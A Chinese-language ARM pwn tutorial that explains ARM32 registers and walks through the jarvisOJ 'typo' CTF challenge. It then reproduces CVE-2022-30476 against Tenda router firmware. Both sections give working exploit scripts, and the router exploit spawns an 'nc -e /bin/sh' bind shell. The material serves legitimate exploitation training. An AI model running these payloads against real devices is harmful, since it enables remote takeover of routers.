ARM PWN基礎教程
ARM PWN基礎教程
一、前言
在CTF比賽中,我們所能接觸到的大部分都是x86 x86_64架構的題目,而在我開始接觸IOT方向的研究以后發現智能設備所用到的則是ARM和MIPS架構為主。本篇文章在介紹前置知識的基礎上通過CTF的ARM架構類型題帶讀者更好的入門ARM PWN的世界。
二、前置知識
指令集
Intel和ARM之間的區別主要是指令集,Intel采用復雜指令集而ARM則是精簡指令集,精簡指令集通過減少每條指令的時鐘周期來縮短執行時間可以更快的執行指令,但因為指令較少因此在實現功能時會顯得比Intel冗長。
寄存器
寄存器是ARM架構的一個重點,在x86架構上指令可以直接對內存的數據進行操作,而在ARM架構中必須將內存的數據放入寄存器中再進行操作。而寄存器的數量取決于ARM的版本,而ARM32架構下共30個寄存器:
?R0在常規操作中可用于存儲臨時值,也可以用于存儲函數的第一個參數或返回結果 ?在ARM架構中約定指定函數前四個參數存儲在R0~R3寄存器中 ?R7寄存器在函數調用中負責存儲系統調用號 ?R11寄存器即可以用來記錄回溯信息,也可以當做局部變量來使用 ?R13寄存器SP(堆棧指針)指向堆棧的頂部 ?R14寄存器LR(鏈接寄存器)在進行函數調用時,LR寄存器內保存調用函數的下一條指令地址,用于被調用函數(子函數)結束工作后返回調用函數(父函數) ?R15寄存器PC(程序計數器)類似于X86架構下的EIP寄存器負責保存目標地址,與x86不同的點在于PC在ARM狀態下存儲當前指令+8的地址。

ARM指令
這里引用 eack師傅在ARM基礎知識PPT中所列出指令的表格,在有了X86架構的基礎后去看下面這些指令還是很好理解的。

這里需要單獨介紹一下LDR和STR兩個指令
?LDR用于將某些內容從內存加載到寄存器中,例如LDR R2, [R0]從R0寄存器中存儲的內存地址的值讀入R2寄存器
?STR用于將某些內容從寄存器存儲到內存地址中,例如STR R2, [R1]從R2寄存器中將值存儲到R1寄存器中的內存地址中
三、例題講解
這里以jarvisoj 的 typo 例題進行講解,題目可通過下方鏈接獲得
https://github.com/ctf-wiki/ctf-challenges/blob/master/pwn/arm/jarvisOJ_typo/typo
查看題目保護,arm-32-little架構的靜態鏈接文件未開啟PIE和Canary保護,存在NX保護無法同時寫入shellcode來getshell
amalll@A-M:~/AM$ checksec pwn
[*] '/home/amalll/AM/pwn'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)
amalll@A-M:~/AM$ file pwn
pwn: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=211877f58b5a0e8774b8a3a72c83890f8cd38e63, stripped
因為程序去除了符號表的關系,我們可以使用rizzo插件來恢復符號表,可以從程序中發現system和/bin/sh等關鍵信息地址,同時在跟隨程序流程注意到一處很明顯的棧溢出漏洞,getshell所需的條件都滿足了。

這邊的利用思路就是通過棧溢出漏洞覆蓋程序的返回地址,在ARM架構下是覆蓋要POP給PC寄存器的地址值,覆蓋為一段可以同時控制R0和PC寄存器的GADGET,因為在ARM架構下函數約定R0寄存器作為函數的第一個參數存儲,所以我們可以控制R0寄存器指向/bin/sh地址,PC寄存器指向system函數的地址,即可GetShell。
+-------------+ | "a" * 112 | +-------------+ | pop_gadget | <- return address +-------------+ | /bin/sh | +-------------+ | 0 | +-------------+ | system_addr | +-------------+
思路確定后,接下來就是具體的實現步驟,首先是棧溢出的偏移是多少,這里我們可以使用QEMU配合gdb-multiarch來得到棧溢出的偏移,首先用qemu-user啟動二進制程序
qemu-arm-static -g 1234 -L . ./pwn
然后啟動gdb-multiarch,執行遠程連接命令即可開始動調,后面的操作方式和x86架構的相同,使用cyclic生成過長字符然后通過溢出覆蓋字符串確定偏移

最后確定偏移為112,這里需要注意的是在ARM架構中如果跳轉的地址為奇數時會進入Thumb模式,進入Thumb模式后地址的最低位會從1變成0,所以如果通過此方法算出的地址值有錯誤時,可以通過查看$cpsr寄存器的低第六位值是否為1來判斷程序是否發生模式切換,而此處程序并未發生模式切換,所以最終我們的偏移就是112。

確定了偏移后,還需要一個可以同時可以控制R0和PC的gadget,這里使用ropper在程序中搜索到如下的一段gadget
0x00020904: pop {r0, r4, pc};
EXP
from pwn import *
p = process(['qemu-arm-static',"-L", "./", "./pwn"])
pop_r0_r4_pc = 0x00020904
system = 0x000110B4
sh = 0x006C384
payload = 'a'*112+p32(pop_r0_r4_pc)+p32(sh)+p32(0)+p32(system)
p.sendafter("Input ~ if you want to quit", "\n")
p.send(payload)
p.interactive()
四、實戰演示
這邊以CVE-2022-30476為例進行實戰arm棧溢出利用演示,關于固件仿真的部分內容在復現Tenda 2018年的cve漏洞時就有所介紹這邊就不過多贅述,這邊還是以實際情況的漏洞復現為主。
web服務在獲取firmwallEn參數時未進行邊界檢測直接將參數值通過strcpy函數賦予dest變量,從而造成棧溢出漏洞。


我們通過cyclic測得棧溢出偏移為44,這里就涉及到我們剛才所說的Thumb模式切換的問題,實際的溢出偏移應為48。
隨后我們可以使用vmmap命令查看qemu-user的內存布局,可以得到libc庫的基地址。
這邊需要特別說明一下,新版本的pwndbg中關于qemu的兼容性較差,所以只能采用舊版本的插件進行內存布局查看。

與我們在ctf例題中所闡述的ROP構造思路相同,這里也是需要尋找能同時控制r0和pc兩個寄存器的gadget,很幸運的是此次尋找的gadget并未以\x00結尾

湊齊所有的利用條件后,編寫EXP對webserver服務進行棧溢出攻擊
import requests
from pwn import *
url = 'http://192.168.2.1/goform/SetFirewallCfg'
libc = ELF("./lib/libc.so.0")
base = 0xff592000
system = base+libc.sym['system']
pop_r0_pc = base+0x0003db80 # pop {r0, pc};
stack = 0xfffef2c0
pl = 'a'*48+p32(pop_r0_pc)+p32(stack)+p32(system)
pl+= 'nc -lp 8888 -e /bin/sh;\x00'
data = {'firewallEn':pl}
requests.post(url, data=data)


五、參考鏈接
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/arm/rop/#_7 https://xuanxuanblingbling.github.io/ctf/pwn/2020/02/26/arm/
文章轉自公眾號: 合天網絡安全